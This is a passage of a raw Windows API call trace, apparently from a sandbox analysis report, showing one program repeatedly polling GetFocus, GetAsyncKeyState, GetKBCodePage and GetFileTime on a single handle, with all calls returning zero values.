lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.901] GetFocus () returned 0x0 [0252.901] GetAsyncKeyState (vKey=58) returned 0 [0252.901] GetKBCodePage () returned 0x1b5 [0252.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.901] GetFocus () returned 0x0 [0252.901] GetAsyncKeyState (vKey=58) returned 0 [0252.901] GetKBCodePage () returned 0x1b5 [0252.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.901] GetFocus () returned 0x0 [0252.901] GetAsyncKeyState (vKey=58) returned 0 [0252.901] GetKBCodePage () returned 0x1b5 [0252.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.901] GetFocus () returned 0x0 [0252.901] GetAsyncKeyState (vKey=58) returned 0 [0252.901] GetKBCodePage () returned 0x1b5 [0252.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.901] GetFocus () returned 0x0 [0252.901] GetAsyncKeyState (vKey=58) returned 0 [0252.901] GetKBCodePage () returned 0x1b5 [0252.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.901] GetFocus () returned 0x0 [0252.902] GetAsyncKeyState (vKey=58) returned 0 [0252.902] GetKBCodePage () returned 0x1b5 [0252.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.902] GetFocus () returned 0x0 [0252.902] GetAsyncKeyState (vKey=58) returned 0 [0252.902] GetKBCodePage () returned 0x1b5 [0252.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.902] GetFocus () returned 0x0 [0252.902] GetAsyncKeyState (vKey=58) returned 0 [0252.902] GetKBCodePage () returned 0x1b5 [0252.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.902] GetFocus () returned 0x0 [0252.902] GetAsyncKeyState (vKey=58) returned 0 [0252.902] GetKBCodePage () returned 0x1b5 [0252.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.902] GetFocus () returned 0x0 [0252.902] GetAsyncKeyState (vKey=58) returned 0 [0252.902] GetKBCodePage () returned 0x1b5 [0252.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.902] GetFocus () returned 0x0 [0252.902] GetAsyncKeyState (vKey=58) returned 0 [0252.902] GetKBCodePage () returned 0x1b5 [0252.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.902] GetFocus () returned 0x0 [0252.902] GetAsyncKeyState (vKey=58) returned 0 [0252.902] GetKBCodePage () returned 0x1b5 [0252.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.902] GetFocus () returned 0x0 [0252.902] GetAsyncKeyState (vKey=58) returned 0 [0252.902] GetKBCodePage () returned 0x1b5 [0252.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.902] GetFocus () returned 0x0 [0252.902] GetAsyncKeyState (vKey=58) returned 0 [0252.902] GetKBCodePage () returned 0x1b5 [0252.902] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.902] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.903] GetKBCodePage () returned 0x1b5 [0252.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.903] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.903] GetKBCodePage () returned 0x1b5 [0252.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.903] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.903] GetKBCodePage () returned 0x1b5 [0252.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.903] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.903] GetKBCodePage () returned 0x1b5 [0252.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.903] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.903] GetKBCodePage () returned 0x1b5 [0252.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.903] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.903] GetKBCodePage () returned 0x1b5 [0252.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.903] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.903] GetKBCodePage () returned 0x1b5 [0252.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.903] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.903] GetKBCodePage () returned 0x1b5 [0252.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.903] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.903] GetKBCodePage () returned 0x1b5 [0252.903] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.903] GetFocus () returned 0x0 [0252.903] GetAsyncKeyState (vKey=58) returned 0 [0252.904] GetKBCodePage () returned 0x1b5 [0252.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.904] GetFocus () returned 0x0 [0252.904] GetAsyncKeyState (vKey=58) returned 0 [0252.904] GetKBCodePage () returned 0x1b5 [0252.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.904] GetFocus () returned 0x0 [0252.904] GetAsyncKeyState (vKey=58) returned 0 [0252.904] GetKBCodePage () returned 0x1b5 [0252.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.904] GetFocus () returned 0x0 [0252.904] GetAsyncKeyState (vKey=58) returned 0 [0252.904] GetKBCodePage () returned 0x1b5 [0252.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.904] GetFocus () returned 0x0 [0252.904] GetAsyncKeyState (vKey=58) returned 0 [0252.904] GetKBCodePage () returned 0x1b5 [0252.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.904] GetFocus () returned 0x0 [0252.904] GetAsyncKeyState (vKey=58) returned 0 [0252.904] GetKBCodePage () returned 0x1b5 [0252.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.904] GetFocus () returned 0x0 [0252.904] GetAsyncKeyState (vKey=58) returned 0 [0252.904] GetKBCodePage () returned 0x1b5 [0252.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.904] GetFocus () returned 0x0 [0252.904] GetAsyncKeyState (vKey=58) returned 0 [0252.904] GetKBCodePage () returned 0x1b5 [0252.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.904] GetFocus () returned 0x0 [0252.904] GetAsyncKeyState (vKey=58) returned 0 [0252.904] GetKBCodePage () returned 0x1b5 [0252.904] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.905] GetFocus () returned 0x0 [0252.905] GetAsyncKeyState (vKey=58) returned 0 [0252.905] GetKBCodePage () returned 0x1b5 [0252.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.905] GetFocus () returned 0x0 [0252.905] GetAsyncKeyState (vKey=58) returned 0 [0252.905] GetKBCodePage () returned 0x1b5 [0252.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.905] GetFocus () returned 0x0 [0252.905] GetAsyncKeyState (vKey=58) returned 0 [0252.905] GetKBCodePage () returned 0x1b5 [0252.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.905] GetFocus () returned 0x0 [0252.905] GetAsyncKeyState (vKey=58) returned 0 [0252.905] GetKBCodePage () returned 0x1b5 [0252.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.905] GetFocus () returned 0x0 [0252.905] GetAsyncKeyState (vKey=58) returned 0 [0252.905] GetKBCodePage () returned 0x1b5 [0252.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.905] GetFocus () returned 0x0 [0252.905] GetAsyncKeyState (vKey=58) returned 0 [0252.905] GetKBCodePage () returned 0x1b5 [0252.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.905] GetFocus () returned 0x0 [0252.905] GetAsyncKeyState (vKey=58) returned 0 [0252.905] GetKBCodePage () returned 0x1b5 [0252.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.905] GetFocus () returned 0x0 [0252.905] GetAsyncKeyState (vKey=58) returned 0 [0252.905] GetKBCodePage () returned 0x1b5 [0252.905] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.905] GetFocus () returned 0x0 [0252.905] GetAsyncKeyState (vKey=58) returned 0 [0252.905] GetKBCodePage () returned 0x1b5 [0252.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.906] GetFocus () returned 0x0 [0252.906] GetAsyncKeyState (vKey=58) returned 0 [0252.906] GetKBCodePage () returned 0x1b5 [0252.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.906] GetFocus () returned 0x0 [0252.906] GetAsyncKeyState (vKey=58) returned 0 [0252.906] GetKBCodePage () returned 0x1b5 [0252.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.906] GetFocus () returned 0x0 [0252.906] GetAsyncKeyState (vKey=58) returned 0 [0252.906] GetKBCodePage () returned 0x1b5 [0252.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.906] GetFocus () returned 0x0 [0252.906] GetAsyncKeyState (vKey=58) returned 0 [0252.906] GetKBCodePage () returned 0x1b5 [0252.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.906] GetFocus () returned 0x0 [0252.906] GetAsyncKeyState (vKey=58) returned 0 [0252.906] GetKBCodePage () returned 0x1b5 [0252.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.906] GetFocus () returned 0x0 [0252.906] GetAsyncKeyState (vKey=58) returned 0 [0252.906] GetKBCodePage () returned 0x1b5 [0252.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.906] GetFocus () returned 0x0 [0252.906] GetAsyncKeyState (vKey=58) returned 0 [0252.906] GetKBCodePage () returned 0x1b5 [0252.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.906] GetFocus () returned 0x0 [0252.906] GetAsyncKeyState (vKey=58) returned 0 [0252.906] GetKBCodePage () returned 0x1b5 [0252.906] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.906] GetFocus () returned 0x0 [0252.906] GetAsyncKeyState (vKey=58) returned 0 [0252.907] GetKBCodePage () returned 0x1b5 [0252.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.907] GetFocus () returned 0x0 [0252.907] GetAsyncKeyState (vKey=58) returned 0 [0252.907] GetKBCodePage () returned 0x1b5 [0252.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.907] GetFocus () returned 0x0 [0252.907] GetAsyncKeyState (vKey=58) returned 0 [0252.907] GetKBCodePage () returned 0x1b5 [0252.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0252.907] GetFocus () returned 0x0 [0252.907] GetAsyncKeyState (vKey=58) returned 0 [0252.907] GetKBCodePage () returned 0x1b5 [0252.907] 